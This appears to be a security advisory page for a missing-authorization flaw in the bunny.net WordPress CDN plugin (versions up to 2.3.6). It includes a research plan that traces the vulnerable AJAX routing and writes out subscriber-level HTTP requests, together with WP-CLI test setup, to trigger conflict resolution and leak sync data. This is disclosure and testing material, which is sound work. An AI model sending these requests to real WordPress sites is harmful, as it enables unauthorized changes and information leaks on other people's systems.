bunny.net – WordPress CDN Plugin <= 2.3.6 - Missing Authorization
Description
The bunny.net – WordPress CDN Plugin plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 2.3.6. This makes it possible for authenticated attackers, with subscriber-level access and above, to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:NTechnical Details
What Changed in the Fix
Changes introduced in v2.3.7
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2025-68049 (bunny.net – WordPress CDN Plugin) ## 1. Vulnerability Summary The **bunny.net – WordPress CDN Plugin** (versions <= 2.3.6) is vulnerable to **Missing Authorization**. The plugin registers a central AJAX handler (`bunnycdn`) that routes requests to vario…
Show full research plan
Exploitation Research Plan: CVE-2025-68049 (bunny.net – WordPress CDN Plugin)
1. Vulnerability Summary
The bunny.net – WordPress CDN Plugin (versions <= 2.3.6) is vulnerable to Missing Authorization. The plugin registers a central AJAX handler (bunnycdn) that routes requests to various controllers. The Offloader controller, specifically its run() method, fails to perform capability checks (current_user_can) before executing sensitive actions. Consequently, any authenticated user (including Subscriber-level accounts) can trigger administrative functions related to media offloading and conflict resolution.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
bunnycdn - Target Section:
offloader - Vulnerable Parameters:
perform=resolve-conflict: Triggers media conflict resolution logic.perform=get-statistics: Leaks media attachment counts.perform=get-sync-errors: Leaks internal sync error logs/file lists.
- Authentication: Authenticated (Subscriber or higher).
- Preconditions: The plugin must have the "wizard" completed (
bunnycdn_wizard_finishedoption set to'1'), otherwise theRouterredirects to the index/setup page.
3. Code Flow
- Entry Point: A Subscriber sends a POST request to
admin-ajax.phpwithaction=bunnycdn. - AJAX Registration: The plugin (likely in
admin.php, inferred frombunnycdn.php:73) registersadd_action('wp_ajax_bunnycdn', ...). - Routing:
src/Admin/Router.php'sroute()method is called.- It retrieves
sectionfrom$_REQUEST(e.g.,offloader). - It checks if
bunnycdn_wizard_finishedis'1'. - It instantiates the
Offloadercontroller:new \Bunny\Wordpress\Admin\Controller\Offloader($container). - It calls
Offloader::run(true).
- It retrieves
- Sink: Inside
src/Admin/Controller/Offloader.phpin therun(bool $isAjax)method:- No capability check exists at the start of the function.
- If
$_POST['perform'] === 'resolve-conflict':- It takes
attachment_idandkeepfrom$_POST. - It calls
$this->container->newAttachmentMover()->resolveConflict($id, $keep). - This logic executes privileged file/database operations on behalf of the Subscriber.
- It takes
4. Nonce Acquisition Strategy
The resolve-conflict path in Offloader.php (lines 46-55) does not check for a nonce.
However, the "Save Settings" path in the same file (line 92) does check a nonce: check_admin_referer('bunnycdn-save-offloader');. If an attacker wanted to exploit the settings update, they would need to acquire this nonce.
Strategy for acquiring bunnycdn-save-offloader (if needed for settings update):
- Identify Script: The plugin likely enqueues scripts on its admin settings page.
- Shortcode: The plugin provides the
[bunnycdn_stream_video]shortcode. - Page Creation:
wp post create --post_type=page --post_status=publish --post_content='[bunnycdn_stream_video library=1 id="test"]' - Extraction: While nonces for admin-specific actions like
bunnycdn-save-offloaderare usually only rendered in the admin dashboard (accessible only to higher roles), an attacker should first check if any generic nonces are localized to the frontend. - Direct Attack: Since
resolve-conflictlacks both a capability check and a nonce check, the most reliable PoC focuses on this action.
5. Exploitation Strategy
We will demonstrate the vulnerability by triggering the resolve-conflict action as a Subscriber, which lacks both authorization and CSRF protection.
Step 1: Triggering Unauthorized Conflict Resolution
Request:
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
action=bunnycdn§ion=offloader&perform=resolve-conflict&attachment_id=1&keep=local
- action:
bunnycdn - section:
offloader - perform:
resolve-conflict - attachment_id: ID of a valid media attachment (e.g.,
1). - keep:
local(tells the mover to keep the local version).
Step 2: Information Leak (Alternative)
If resolve-conflict fails due to environment setup, the information leak via get-statistics is a secondary proof.
Request:
GET /wp-admin/admin-ajax.php?action=bunnycdn§ion=offloader&perform=get-statistics HTTP/1.1
6. Test Data Setup
- Install Plugin: Ensure version 2.3.6 is active.
- Setup Wizard: Use WP-CLI to simulate a finished setup.
wp option update bunnycdn_wizard_finished '1' wp option update bunnycdn_api_key 'fake_key_for_testing' - Create User:
wp user create attacker attacker@example.com --role=subscriber --user_pass=password123 - Create Media:
wp post create --post_type=attachment --post_title="Target Media" --post_status=inherit # Note the returned ID for the exploit payload
7. Expected Results
- Response Code:
200 OK - Response Body:
{"success":true,"data":{"id":1}} - Observation: The Subscriber account successfully invokes the
resolveConflictlogic, which is intended only for Administrators.
8. Verification Steps
- Check Result via WP-CLI: Confirm the AJAX response indicated success.
- Log Verification: If the testing environment allows, check if
resolveConflictwas logged or if the attachment metadata changed. - Access Control Confirmation: Attempt the same request while logged out; it should return a
403or0(ifwp_ajax_noprivis not registered).
9. Alternative Approaches
If the resolve-conflict action requires complex internal state (e.g., actual file conflicts in the DB), the get-sync-errors action is a simpler target for proof of authorization bypass:
Request:
GET /wp-admin/admin-ajax.php?action=bunnycdn§ion=offloader&perform=get-sync-errors HTTP/1.1
If this returns a JSON object containing sync errors (or an empty list []) to a Subscriber, the "Missing Authorization" is confirmed.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.